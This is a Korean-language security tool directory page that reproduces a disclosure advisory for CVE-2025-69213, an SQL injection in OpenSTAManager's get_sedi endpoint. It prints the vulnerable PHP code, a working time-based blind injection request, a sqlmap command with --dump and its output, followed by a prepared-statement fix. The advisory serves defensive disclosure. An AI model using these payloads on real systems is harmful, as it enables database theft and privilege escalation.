Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-69213 — CVE-2025-69213 - OpenSTAManager의 ajax_complete.php(get_sedi 엔드포인트)에 SQL Injection 취약점이 있습니다. | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2025-69213
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublukasz-rybak/cve-2025-69213

CVE-2025-69213

CVE-2025-69213 - OpenSTAManager의 ajax_complete.php(get_sedi 엔드포인트)에 SQL Injection 취약점이 있습니다.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-69213: OpenSTAManager의 ajax_complete.php (get_sedi 엔드포인트) SQL 인젝션 취약점

개요

필드세부 정보
CVE IDCVE-2025-69213
심각도HIGH
권고권고 보기
발견자Lukasz Rybak

영향을 받는 제품

  • devcode-it/openstamanager (버전: <= 2.9.8)

CWE 분류

  • CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화('SQL 인젝션')

세부 정보

요약

ajax_complete.php 엔드포인트에서 get_sedi 작업을 처리할 때 SQL 인젝션 취약점이 존재합니다. 인증된 공격자는 idanagrafica 매개변수를 통해 악성 SQL 코드를 주입하여 데이터베이스에 무단으로 접근할 수 있습니다.

개념 증명 (PoC)

취약한 코드

파일: modules/anagrafiche/ajax/complete.php:28

root@kitploit:~
case 'get_sedi':
    $idanagrafica = get('idanagrafica');
    $q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione 
          FROM an_sedi 
          WHERE idanagrafica='".$idanagrafica."' ...";
    $rs = $dbo->fetchArray($q);

데이터 흐름

  1. 소스: $_GET['idanagrafica'] → get('idanagrafica')
  2. 취약 지점: 사용자 입력이 작은따옴표와 함께 SQL 쿼리에 직접 연결됨
  3. 싱크: $dbo->fetchArray($q)가 악성 쿼리를 실행

익스플로잇

수동 PoC (시간 기반 블라인드 SQLi):

root@kitploit:~
GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
이미지

SQLMap 익스플로잇:

root@kitploit:~
sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --dump

SQLMap 출력:

root@kitploit:~
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12
이미지

영향

  • 데이터 유출: 사용자 자격 증명, 고객 데이터, 재무 기록을 포함한 전체 데이터베이스 추출
  • 권한 상승: 관리자 접근 권한을 얻기 위한 zz_users 테이블 수정
  • 데이터 무결성: 레코드의 무단 수정 또는 삭제
  • 잠재적 RCE: 파일 권한이 허용되는 경우 SELECT ... INTO OUTFILE을 통한 원격 코드 실행 가능

영향을 받는 버전

  • OpenSTAManager: 최신 버전에서 확인됨 (2025년 12월 기준)
  • 이 엔드포인트를 사용하는 모든 버전이 영향을 받을 가능성이 있음

수정 방법

직접적인 문자열 연결 대신 준비된 문(Prepared Statement)을 사용하세요:

수정 전:

root@kitploit:~
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";

수정 후:

root@kitploit:~
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";

참고 자료

  • OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화

크레딧

발견자: Łukasz Rybak

참고 자료

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69213
  • https://github.com/advisories/GHSA-w995-ff8h-rppg

면책 조항

이 CVE는 조정된 취약점 공개 절차에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.

도구 다운로드